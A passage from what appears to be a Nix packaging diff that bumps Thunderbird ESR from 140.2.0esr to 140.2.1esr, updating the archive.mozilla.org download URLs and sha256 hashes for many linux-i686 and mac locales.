-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ka/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/ka/thunderbird-140.2.1esr.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "574afc5ab465127dc3e11218eaaf1886a75095ba527be978f0e4f750c8141ff4";
+      sha256 = "5e6b87d2fe7e4220d3478f67f40950c9f36341cf977a647e0f8e8f3d2c895b50";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/kab/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/kab/thunderbird-140.2.1esr.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "2be6925da889fad10de5ceb1379d326f25170cd1ef2de4f80ad021b300ea1e6f";
+      sha256 = "ac4304d0f655965ace32745668cfe2c63f4f84220d6d4bb807c33810744a5c97";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/kk/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/kk/thunderbird-140.2.1esr.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "f88fc4e4f6a015093fc843be667f7b63e8caef4a63980c5f8a85fe2f89d0319a";
+      sha256 = "e1818d832fc325be9575fae5c414a2abf13d5c7de639152f445ff93fbbb9947d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ko/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/ko/thunderbird-140.2.1esr.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "95138c979e4c149751bc04d4999038d326961f9cf5f49db82af1aab1ba2ca4d2";
+      sha256 = "94f17350584b672de605a5857aedef6705f2076ba05a68e01d021b40ae52ad35";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/lt/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/lt/thunderbird-140.2.1esr.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "63e39966d929eabf7c1de8b6c1f8f0dbf3a52f9c6afb8c6bd4ef1ef36ede7297";
+      sha256 = "c19f2a27b36ea5f75b33f890a91fd2d24ca1cd86dd486e6987913da9e5f4a381";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/lv/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/lv/thunderbird-140.2.1esr.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "5b8499fb1667ef2f7c185d5828df1ef2abe8c4db68b39ddba3de2cec0a4dca20";
+      sha256 = "e9fde0f423956077c61c866887570a0daf9872d4674ad5fb66010c77ca3a41a7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ms/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/ms/thunderbird-140.2.1esr.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "77b16429d9d5b5dc7ce1177e58554a4c22f60c680ddfbe9b8c5f6f7a78e31a3a";
+      sha256 = "90e46a78ad14deb7226f6d04905b99bb2f00c793a92a579eb253110c384df903";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/nb-NO/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/nb-NO/thunderbird-140.2.1esr.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "a270128603f7a4da8d495545450334dddbca0e40dedb37edfec4a8ee7ae6a7b5";
+      sha256 = "e89606308f7bc0a0a5aa0afbac67aedb3cf6b42fe1f1768c4fc57ee1b42a928a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/nl/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/nl/thunderbird-140.2.1esr.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "22084c70eb833c79c16508040fa0c84b65cbd3fb26c757967aff87af73b3cbe5";
+      sha256 = "7276a75c84c014660d70f9d964c49cd85342184000a2352a80dd8591329bbff8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/nn-NO/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/nn-NO/thunderbird-140.2.1esr.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "d8045ea607a19a4bc100f546a4593d59024fe85a91ffcc17ae920864708408b6";
+      sha256 = "b273c0d6a936bb0935097551ca33a921db876dee74be7ed3cd8cd1e46c22d655";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/pa-IN/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/pa-IN/thunderbird-140.2.1esr.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "5ec18f084221ecaa507cb7090103e04ba8974a9c401abb5272316a381dfb138f";
+      sha256 = "063656afe7a52c6c3ba7814db76a2fa2ae98cd7dc4db3bdd49e4a97e77e831c6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/pl/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/pl/thunderbird-140.2.1esr.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "706c46de3b89b8d70f0b56185349c2bb2a64cb5d47331868c044d4e9adb4c758";
+      sha256 = "3d59a210f9079906857be2475a37fb38babfaa280660b5de132df758575dbd8a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/pt-BR/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/pt-BR/thunderbird-140.2.1esr.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "1d018e4e786578343f911cf32d6745ab1ab441f0447a8956981f81eb19416ecb";
+      sha256 = "333e417d67ea56d4cfd6f2f51926956f39f9b0dcc1711fe5f996cb123bb36c59";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/pt-PT/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/pt-PT/thunderbird-140.2.1esr.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "9e02afb517f8f2d4b7fff86fff99d989b9807b3def50f2e50861b8306594c2c3";
+      sha256 = "29cb0c9d3c411cc26436f7191f941db21620399bb7b24ed762edac03614a5d91";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/rm/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/rm/thunderbird-140.2.1esr.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "2ab5a21a53ee1ec9f9a17c5d1fead8437ed0520abf78c10142c84af69460cee4";
+      sha256 = "cce9a32232337bb2e4774d800c27485e975af9830c2a24575d4e0f4c9f13e327";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ro/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/ro/thunderbird-140.2.1esr.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "5edf5e6971f877652d026bde09b1eb4ac6a29c2ee86a75780b520695f12b7d57";
+      sha256 = "5b77ee252857f48ee1122cba5b6aeb634f67cda99a96f7ebf568b993cfa94462";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ru/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/ru/thunderbird-140.2.1esr.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "8e3570cdb72e3f96373962926dcf6886f0e77b1e6db62c6c0693ed781d12aa32";
+      sha256 = "90f7faa4581c40977a68725e27a99513b9637a0340faa4b090a23e5ddc6748bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/sk/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/sk/thunderbird-140.2.1esr.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "8b7ac31b28933209b419fdf7f9a6519d0642ad69827914a52baa38e5404f3fc2";
+      sha256 = "a3aaa174940c4cdadf354d0fbdce61ee412681c74c958a9a8307ef91c5a333d1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/sl/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/sl/thunderbird-140.2.1esr.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "69486f47806876c7cc51d82eb49fc296778ab619d7e1143139859481b6207b8e";
+      sha256 = "11a0cf90c414e0c8ee603aa741687c432722b7891a2f4129914cd6d4c37f94bc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/sq/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/sq/thunderbird-140.2.1esr.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "12407cb07d863749ad8bc1a3a3002427420afcca61ef1065d5bc75fb64cade7c";
+      sha256 = "f9076f7085a157d7b5fb6d112f851ffd02a7b8ea51c5b6f2dd26d40f9d7514be";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/sr/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/sr/thunderbird-140.2.1esr.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "ec863cdeb868209cef55ca0fec3b5f9f0d3e7c454aa2817aca2ea245f62aeb98";
+      sha256 = "e716a053a367e9d0649afcca8b4a52abbb9413a0a73d23a8f44c5916d1833f74";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/sv-SE/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/sv-SE/thunderbird-140.2.1esr.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "d92d1bc44da0a5ac2aeef4c195f6d42c2163e4378515d68b447c54cbcf685903";
+      sha256 = "351956f2de56a0bb6cfe5706822ce85496b2b3ec3e76313921c48d2a12c91ecf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/th/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/th/thunderbird-140.2.1esr.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "df562a5ee6889e9eae19de5f6244ac5a32d946010c1bcbba7a597741c92e845d";
+      sha256 = "ecea7ea0f3d5fd1f0c7f85c8eb2c8c5bbb6073e0b6b6c424fcbf355d937aff8b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/tr/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/tr/thunderbird-140.2.1esr.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "7ce319b95d97d8653f5c6b988ef0ee8732b0e811c1e4a792251b44984900216d";
+      sha256 = "d684e29e4093947977282edb32330a5ba473808c03fce94e93159dd877762361";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/uk/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/uk/thunderbird-140.2.1esr.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "088d5209dafeec939456e728507f19ae3ad376a25ec0dc098ed23ded4271c10b";
+      sha256 = "f923318b32d5a7e4c38b94c81dfb32a20c5280d1701b03497e42acaa7f513d1a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/uz/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/uz/thunderbird-140.2.1esr.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "dc3009b097f8842c5cb493782d408f0ea9b05acc767657e1b1831bb900c0b667";
+      sha256 = "360463c7403e0a82d6f234473bafdd687d13b0f92a68b5d0eb79882aa90b537b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/vi/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/vi/thunderbird-140.2.1esr.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "12ee20867162e5e43893d69986e6930a41524b8ffdab85fe210c24783a6f0f9f";
+      sha256 = "1bbbca83c4d2ddc35d7c879eeac2f8edd8e8b5352b0c9eec2b466ec8c57ee408";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/zh-CN/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/zh-CN/thunderbird-140.2.1esr.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "b66bfbd23972e689e74412c4b578a2cc879a051a130357e660f819ebdd25858a";
+      sha256 = "87381c654b73596a846ef435a91cb06db8b42a63b7f18905f61cac87ed256452";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/zh-TW/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/zh-TW/thunderbird-140.2.1esr.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "82032e81e87b7892388682ddfc4c88269b887887efd24c71abea2cafd8ca8620";
+      sha256 = "3ab8dca9bc657a4ef6a871910a3052e36ee87e9c968432ee353a5b6554ea1d29";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/af/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/af/Thunderbird%20140.2.1esr.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "ce54605c7c0b0a50022cf6bc416ebf08bcd170c114e522008667fc5bf3ce60c5";
+      sha256 = "b9728d0bc8807090610610cb36b6e1e0f6f8049b96914642ae99d32c7274d65f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ar/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/ar/Thunderbird%20140.2.1esr.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "2b061e9287c6a34212147513474f9bf8fe5b831b5466608c9ef9688d2ae58535";
+      sha256 = "9138afa39db150f96990c351aa5aa54efb4e13b13066e8a2a42017acc8e01e9c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ast/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/ast/Thunderbird%20140.2.1esr.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "d00b40250e7c408da0c7bb340977b482341dbd87a2c434819a29a18080cfa414";
+      sha256 = "f4b5e84546170515cebe904ef0d8f1728527a59aedb2f33c4286b49b07c6b7dd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/be/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/be/Thunderbird%20140.2.1esr.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "5054077127678769bf458202c73acd9bec1dce93e9b677a61746dc77cb413530";
+      sha256 = "0bbe4c5b56dcdca626515a16d7557e5a6d18a44dcfeb36c98c7b6ddcb435ba70";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/bg/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/bg/Thunderbird%20140.2.1esr.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "72466fe4addb6e0fc2911fd96e11d349f914670fc28a09235df96cfc966758fa";
+      sha256 = "db614e2a114361898ed95b2b97beaf9e2bd76fb9077bc6cc28155c35474ac962";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/br/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/br/Thunderbird%20140.2.1esr.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "41290991d6e680c7a2c82e17c4a869021a3b143cb0e28ac505edfcf443321a70";
+      sha256 = "9ff8c15682a00ac27d707bbcbcf26159e827646fb9eaa3c943f605d905ec8a17";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ca/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/ca/Thunderbird%20140.2.1esr.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "c99788cda9531ef8f2b817192f373a5f3a640f7115fbfbc11f70dc933e22db27";
+      sha256 = "95ab1c21163985afe6cbc63b2bf6dc2f268631994aa50aaf2516c75c89d17949";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/cak/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/cak/Thunderbird%20140.2.1esr.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "0105d15a127ea53d2131f9f28e52edfe5b1c98c12a9df384fe61c9120f29b0c0";
+      sha256 = "817e50b210e6374ecd398812e5cc6f5f347ad59cb594dbdea7aaa885c69f4eb2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/cs/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/cs/Thunderbird%20140.2.1esr.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "4df2e9734cbc2fddd6b3330ffc370aff7dca09b73232098bbc94def64860b0c8";
+      sha256 = "c1bb6c71f2f8d12212e6b0f7ab92af771079a02432749a5123bd67981c265fc9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/cy/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/cy/Thunderbird%20140.2.1esr.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "b6eb8df8d061ee1deaff7ca6879ba46cddbf90790a940e9e1b0adea103ee6b44";
+      sha256 = "888ca1a3271675342aa21f743dc94925aa600282c743f6b3d985b7e40d59554b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/da/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/da/Thunderbird%20140.2.1esr.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "bd322be16edd4383d733b592532cc7b1ec44f0c9f2781a0d4a4743262f6d05db";
+      sha256 = "0c8c1f04f740545babddf5ae867f368191e9a5019c309eabef127ab7b4d155d0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/de/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/de/Thunderbird%20140.2.1esr.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "905c7c48bfdefd489fb44376852e4a52243e6169a8092f6ce2d96e70874c6862";
+      sha256 = "d66a7a77179d356c65848925ad6324ed2e965c9aefca8aaebdcd77eeb47a8362";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/dsb/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/dsb/Thunderbird%20140.2.1esr.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "8dc3b37074db57701cf48d4f6cb9f71f7b0bcde95c562c9c7c4673b8777e816f";
+      sha256 = "03d5fa2424113f8429e6ee193e8dfe8ce596a7bfa6eada07e6adcb4454824a05";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/el/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/el/Thunderbird%20140.2.1esr.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "d28ebf8962c8a33c67ebcf600bd8ce41bdf0a6fa7227c9337cd13d9eb1987a12";
+      sha256 = "088b133476872b8449c7cd62e2dd02badb583fa20b9225bed1294f2777b19778";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/en-CA/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/en-CA/Thunderbird%20140.2.1esr.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "999adb6c3b624c0052fc7eb4297cc30050df23e397a1ae0f7f3ab0760d7ef991";
+      sha256 = "41a3dfc90fb1137b72dc3f07f7afe0081fa29406cd45f44b62a26ce2d392f529";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/en-GB/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/en-GB/Thunderbird%20140.2.1esr.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "7b47b28f9b8ff5b57a3a053faed2d549a1263f9ae74359799dc3dfd20d51d1be";
+      sha256 = "8f1a0e20d6d9fd8f070feca4fddbc317f073fac3e0707e1d74f84e3fc9f04e95";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/en-US/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/en-US/Thunderbird%20140.2.1esr.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "c9875a79879091b5d00567adc2ec6bbb985f130d32df75e4018f4dca9a9ca015";
+      sha256 = "9d44e9b21e8a3218b75dbd25cd57216dbaea01297eef6dbc371fd0cf36ba7515";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/es-AR/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/es-AR/Thunderbird%20140.2.1esr.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "0767f4c0c5393100337dbb267051d0d4d61637441ff2d8ac797f59a9d9e6f956";
+      sha256 = "52fbadf9284b7b019f2ac9d829f855db8c2ed2dfea4835461997f1d8505fe34d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/es-ES/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/es-ES/Thunderbird%20140.2.1esr.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "ad4acb8c8e5b804328c4a075d1ea5aafc6bcce2a17383b85d697331cdd9a6a84";
+      sha256 = "17cacaba5b0dddf98e48ca24d1fff4a205df53310751be4b96907748abe3bde0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/es-MX/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/es-MX/Thunderbird%20140.2.1esr.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "be1d206f4fe5732e21880f48aabeede6e144f8b0d26f964fceddee8befd4febd";
+      sha256 = "d3168d8902e5a66edd23fd2597d6c41dc0a12439d21ae7ba9c62823333ecf96b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/et/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/et/Thunderbird%20140.2.1esr.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "dcfa0e6eb888a020a9ffcbd5368e021122243261383879ee2155645bd0312c5c";
+      sha256 = "cd55f568bfd1d2f3bd304e3fcf0e2d23b935096d5feae7d75cd92cd01b5302a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/eu/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/eu/Thunderbird%20140.2.1esr.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "5ce0b69a5b3f2a1b29b9aca11076d97e3810705c654214edf81b5a67c28457dd";
+      sha256 = "a6146792cfdfa9c8b881ea99001e1749a5e68eb001a9959c9bbafcc9196f276b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/fi/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/fi/Thunderbird%20140.2.1esr.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "11ddafa9775ac08020ec5070cc4fb495be2fadd46f3a6d43f0e1a143c9045a2a";
+      sha256 = "e77303b3f11b7b813b663677e278e9e293c94d48991da79603d90fc7c3063f35";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/fr/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/fr/Thunderbird%20140.2.1esr.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "efc74e9e925ba189b97bca77c5c7d38a352e8fb2f14bbd4f1ecf73f493a14c9b";
+      sha256 = "20de9644de6ea014c242d6f6e12f5e84dd7edd9be869df9e1c547e1bf0e03a84";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/fy-NL/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/fy-NL/Thunderbird%20140.2.1esr.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "b188c3aca74e2860904521a4b64b264004aec15e2d0db87d89c5a048fd712604";
+      sha256 = "e5231bc18b8dfd881dad38babe31c7c59edcb1628f89103ddfbf5d7f0c70202a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ga-IE/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/ga-IE/Thunderbird%20140.2.1esr.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "03258823e37fe90afd0720dddab690f673a4c8a4d03b7d9a9e8d89c6d53b5fa3";
+      sha256 = "a69b13c67620089ba02cddaa5fc0e206b2a3180d5ee193d76c07d7be859be810";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/gd/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/gd/Thunderbird%20140.2.1esr.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "39c6364adb55ae147f19ed26ba16a64126d6e9ed7e67e999c9315ca2ddb510ad";
+      sha256 = "e1262b7729f20aaae98bfd23de132c25ec6c6091b6de1ca17f0ac51680738574";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/gl/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/gl/Thunderbird%20140.2.1esr.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "97888306997dbbc0d1b6408222dc8138894814d373dbbca2e7b904f5612a6d1e";
+      sha256 = "e37dbf2c305f1ce8528d74b86c54287cee524b57d4ea1db0b06c3f29ddff0f95";
     }
     {
